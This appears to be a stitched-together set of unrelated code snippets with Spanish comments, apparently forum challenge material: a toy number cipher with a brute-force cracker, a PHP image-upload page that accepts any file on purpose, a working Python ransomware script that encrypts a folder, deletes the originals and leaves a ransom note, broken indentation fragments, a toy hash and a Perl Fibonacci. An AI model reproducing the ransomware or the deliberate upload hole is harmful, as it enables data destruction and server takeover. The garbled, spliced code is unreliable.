from time import time

TEXT_CHARACTERS = (10061, 43487, 49669, 74287, 98953, 75767, 74099, 12457, 32159, 53897, 41263, 60331, 91291, 33403, 43651, 40559, 13921, 40531, 37861, 76091, 77093, 80107, 79861, 91801, 93937, 90397)
TEXT_NUMBERS = (42683, 10037, 20101, 49121, 33151, 17029, 58013, 89867, 91199, 97259)
TEXT_SPACE = 99989

KEYS_CHARACTERS = (59077, 77447, 46061, 20897, 48673, 78571, 65963, 15161, 64399, 45497, 91129, 80429, 17377, 42013, 19183, 23099, 22699, 55457, 84871, 84659, 32569, 80777, 52289, 86111, 86291, 37781)
KEYS_NUMBERS = (39443, 89963, 85691, 79273, 49531, 30713, 63059, 59263, 70489, 26647)
KEY_SPACE = 94687

TEXTS = set(TEXT_CHARACTERS + TEXT_NUMBERS + (TEXT_SPACE,))
KEYS = KEYS_CHARACTERS + KEYS_NUMBERS + (KEY_SPACE,)

MULTIPLIER = 10**(len(str(TEXT_SPACE)))

ORD_A = ord("a")
ORD_Z = ord("z")
ORD_0 = ord("0")
ORD_9 = ord("9")

class CharacterConverter:

	def __init__(self, characters, numbers, space):
		if len(characters) != ORD_Z - ORD_A + 1:
			raise ValueError("longitud de la tupla de caracteres errónea")

		if len(numbers) != 10:
			raise ValueError("Longitud de la tupla de números errónea")

		self.characters = characters
		self.numbers = numbers
		self.space = space


	def getNumber(self, character):
		if character == " ":
			return self.space

		n = ord(character)

		if n >= ORD_0 and n <= ORD_9:
			return self.numbers[n - ORD_0]

		elif n >= ORD_A and n <= ORD_Z:
			return self.characters[n - ORD_A]

		else:
			raise ValueError("Caracter no válido")

	def getCharacter(self, number):
		if number == self.space:
			return " "

		elif number in self.numbers:
			return chr(self.numbers.index(number) + ORD_0)

		elif number in self.characters:
			return chr(self.characters.index(number) + ORD_A)

		else:
			raise ValueError("Número no encontrado")


TEXT_CONVERTER = CharacterConverter(TEXT_CHARACTERS, TEXT_NUMBERS, TEXT_SPACE)
KEY_CONVERTER = CharacterConverter(KEYS_CHARACTERS, KEYS_NUMBERS, KEY_SPACE)

passwordToKey = lambda password: sum(map(KEY_CONVERTER.getNumber, password))

def encode(text, password):
	"""Codifica el texto que se pasa como parámetro con la contraseña indicada
	text: Texto a codificar
	password: Contraseña para codificar"""
	num = 0

	for elem in text:
		num = num * MULTIPLIER + TEXT_CONVERTER.getNumber(elem)

	key = passwordToKey(password)
	return num * key


def decode(encodedCode, password):
	"""Decodifica el mensaje con la contraseña indicada y devuelve el texto original
	encodedCode: Mensaje a decodificar
	password: Contraseña para decodificar"""
	key = passwordToKey(password)

	num = encodedCode // key
	return numberToText(num)


def numberToText(num):
	decoded = ""

	while num > 0:
		decoded += TEXT_CONVERTER.getCharacter(num % MULTIPLIER)
		num //= MULTIPLIER

	return decoded[::-1]


def decodeGuessingPassword_passAsSet(encodedCode, maxPassSize=4):
	"""Devuelve el texto correspondiente a la decodificacion del mennsaje
	prueba con todas las contraseñas hasta la longitud indicada
	Trata las contraseñas como un conjunto de caracteres, sin orden
	encodedCode: Texto codificado
	maxPassSize: Longitud máxima de la contraseña"""

	notFound = True
	currentKeyData = [0]
	curSize = len(currentKeyData)
	maxVal = len(KEYS) - 1

	while len(currentKeyData) <= maxPassSize and notFound:

		if checkValidDecodedMsg(encodedCode // sum((KEYS[pos] for pos in currentKeyData))):
			notFound = False

		else:
			i = 0
			while i < curSize and currentKeyData[i] == maxVal:
				i += 1

			if i != curSize:
				currentKeyData[i] += 1
				valCurentKeyData = currentKeyData[i]

				for i in range(i - 1, -1, -1):
					currentKeyData[i] = valCurentKeyData

			else:
				curSize += 1
				currentKeyData = [0] * curSize

	if notFound:
		raise ValueError("No se ha podido decodificar")
		
	else:
		return numberToText(encodedCode // sum((KEYS[pos] for pos in currentKeyData))), getPasswordFromKeyData(currentKeyData)


def checkValidDecodedMsg(msg):
	"""Comprueba que el mensaje decodificado, como múmero sea válido
	msg: Mensaje a comprobar"""
	while msg > 0:
		if not msg % MULTIPLIER in TEXTS:
			return False

		msg //= MULTIPLIER

	return True

#Devuelve la contrasena, pasando como parámetro un iterable con las posiciones en KEKS de los valores de la contraseña
getPasswordFromKeyData = lambda KeyData: tuple((KEY_CONVERTER.getCharacter(KEYS[pos]) for pos in KeyData))


def main():
	coded = 309224446557488409754066854545005782200040975244112
	
	t0 = time()
	print("Mensaje: {}, Contraseña: {}".format(*decodeGuessingPassword_passAsSet(coded, 8))) #Aquí al leer el post undercode cambio 8 ))) (pegado) por la ubicación de las gafas de sol.
	print(f"Time: {time() - t0}")


if __name__ == '__main__':
	main()

<!DOCTYPE html>
<html>

<body>

<div align="center">
<form action="" method="post" enctype="multipart/form-data">
    <br>
    <b>Select image : </b> 
    <input type="file" name="file" id="file" style="border: solid;">
    <input type="submit" value="Submit" name="submit">
</form>
</div>
<?php

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
	$rand_number = rand(1,100);
	$target_dir = "uploads/";
	$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
	$file_name = $target_dir . basename($_FILES["file"]["name"]);
	$uploadOk = 1;
	$imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
	$type = $_FILES["file"]["type"];
	$check = getimagesize($_FILES["file"]["tmp_name"]);

	if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
		$uploadOk = 1;
	}else{
		$uploadOk = 1; // Pensé que infectar con burpsuite sería demasiado.
		echo "Sube tu foto ;) ";
	} 
  if($uploadOk == 1){
      move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
      echo "File uploaded /uploads/¿¿¿cual será???";
  }
}
?>

</body>
</html>

import os, simplecrypt, random #Importamos las librerías simplecrypt no viene por default en python pero a continuacion veremos la solución.
from getpass import getuser

user = getuser()
rut = "/home/user/Desktop/Prueba/"
ruta = rut.replace("user", user) #Conseguímos el nombre de usuario
os.system("curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py ; python get-pip.py ; pip install simplecrypt ; rm get-pip.py") # Comandos que instalan la librería simplecrypt

longitud = 20
char = "abcdefghijklmnopqrstuvwyz1234567890"
password = ""
while longitud != 0:
	password += random.choice(char) # Generamos una clave aleatória de 20 caracteres con todas las letras y números.
   	longitud -= 1


def cifrar(carpeta):
	for archivo in os.listdir(carpeta):
		elementos = os.path.join(carpeta,archivo)
		if os.path.isdir(os.path.join(carpeta,archivo)):
			cifrar(os.path.join(carpeta,archivo)) # Encontramos todos los ficheros de un directorio
		try:
			leer = open(elementos, "rb")
			interior = leer.read()
			os.system("rm " + elementos)
			archivofinal = simplecrypt.encrypt(elementos, password)
			directoriocifrado = elementos + ".crypt"
			abrir = open(directoriocifrado, "wb")
			abrir.write(archivofinal)
			abrir.close() # Ciframos eliminamos y escribimos el resultado cifrado si puede ya que si se encuentra con una carpeta no la podrá cifrar
			
		except:
			variable = 0
			variable -= 1 # Hace algo inútil si encuentra algo que no puede cifrar
 

def recuperar():
	recuperar = open("Recuperararchivos.txt", "w")
	recuperar.write("DAME MIS KIBABS y te los doy (^3^)")
	recuperar.write("\n")
	recuperar.write(password)
	recuperar.close() # Escribe el mensaje de recuperación pero también escribe la contraseña.
	

cifrar("/home/linuxpower/Desktop/Prueba")
recuperar() # Llama a las funciones

		vb = input("Texto a codificar: ")
                                cambiar += vb.replace("a", "ªªªªªªªªªª") #remplazo un carácter por otro

				cambiar1 += cambiar.replace("b", "$$$$")

				cambiar2 += cambiar1.replace("c", "´´´´´´´´")

				cambiar3 += cambiar2.replace("d", "^^^^^^^^^^^^^^")

				cambiar4 += cambiar3.replace("e", "¨¨¨¨¨")

				cambiar5 += cambiar4.replace("f", "·······················")

				cambiar6 += cambiar5.replace("g", "ççççç")

				cambiar7 += cambiar6.replace("h", "|||||||||||||||")

contador = 0
has = input("CADENA>> ") 
has = has.lower()
longitud = len(has)
hash = []
hashnum = []
def main():
    for letra in has:
        hash.append(letra)
        if "a" ==  letra:
            hashnum.append(18289)
        if "b" ==  letra:
            hashnum.append(19919)
        if "c" == letra:
            hashnum.append(33359)
        if "d" == letra:
            hashnum.append(29077)
            
        if "e" == letra:
            hashnum.append(30319)
        if "f" == letra:
            hashnum.append(31847)
        if "g" == letra:
            hashnum.append(28843)
        if "h" == letra:
            hashnum.append(26627)
        if "i" == letra:
            hashnum.append(25301)
        if "j" == letra:
            hashnum.append(34159)
        if "k" == letra:
            hashnum.append(29179)
        if "l" == letra:
            hashnum.append(26113)
        if "n" == letra:
            hashnum.append(28817)
        if "m" == letra:
            hashnum.append(65053)
        if "o" == letra:
            hashnum.append(64223)
        if "p" == letra:
            hashnum.append(52457)
        if "q" == letra:
            hashnum.append(89983)
        if "r" == letra:
            hashnum.append(97673)
        if "s" == letra:
            hashnum.append(11171)
        if "t" == letra:
            hashnum.append(76259)
        if "u" == letra:
            hashnum.append(80363)
        if "v" == letra:
            hashnum.append(68891)
        if "w" == letra:
            hashnum.append(91837)
        if "x" == letra:
            hashnum.append(99989)
        if "y" == letra:
            hashnum.append(34763)
        if "z" == letra:
            hashnum.append(74077)
        if " " == letra:
            hashnum.append(70141)
        if "." == letra:
            hashnum.append(19961)
        if "-" == letra:
            hashnum.append(64019)
        if "_" == letra:
            hashnum.append(72173)
        if "}" == letra:
            hashnum.append(93503)
        if "{" == letra:
            hashnum.append(52567)
        if "+" == letra:
            hashnum.append(12401)
        if "*" == letra:
            hashnum.append(58309)
        if "," == letra:
            hashnum.append(95873)
        if ";" == letra:
            hashnum.append(33037)
        if ":" == letra:
            hashnum.append(27337)
        if "1" == letra:
            hashnum.append(26489)
        if "2" == letra:
            hashnum.append(89329)
        if "3" == letra:
            hashnum.append(88019)
        if "4" == letra:
            hashnum.append(94201)
        if "5" == letra:
            hashnum.append(49031)
        if "6" == letra:
            hashnum.append(41023)
        if "7" == letra:
            hashnum.append(88793)
        if "8" == letra:
            hashnum.append(94169)
        if "9" == letra:
            hashnum.append(20509)
        if "0" == letra:
            hashnum.append(13841)
        if "[" == letra:
            hashnum.append(89041)
        if "]" == letra:
            hashnum.append(92809)
        if '"' == letra:
            hashnum.append(23819)
        if "'" == letra:
            hashnum.append(25097)
        if "=" == letra:
            hashnum.append(93827)
        if "(" == letra:
            hashnum.append(54151)
        if ")" == letra:
            hashnum.append(17957)
        if "!" == letra:
            hashnum.append(11003)
        if "@" == letra:
            hashnum.append(12301)
        if "#" == letra:
            hashnum.append(14891)
        if "$" == letra:
            hashnum.append(21139)
        if "/" == letra:
            hashnum.append(21503)
        if "´" == letra:
            hashnum.append(14713)
        if "`" == letra:
            hashnum.append(11833)
        if "¨" == letra:
            hashnum.append(14759)
main()
#Algoritmo
while True:
    if longitud == 0:
        break
    hashfinal = hashnum[0]*99149 #Multiplico el primer número primo de la lista por otro número primo.
    longitud-=1
    hashfinal = hashfinal*hashnum[-1] #Multiplico lo anterior por el ultimo número de la lista
    longitud-=1
    break
print(hashfinal)

use strict;
use warnings;

sub fib {
    my $n = shift;

    if ($n == 1 or $n == 2) {
        return 1 
    }

    return (fib($n-1)+fib($n-2));
}

print fib(100);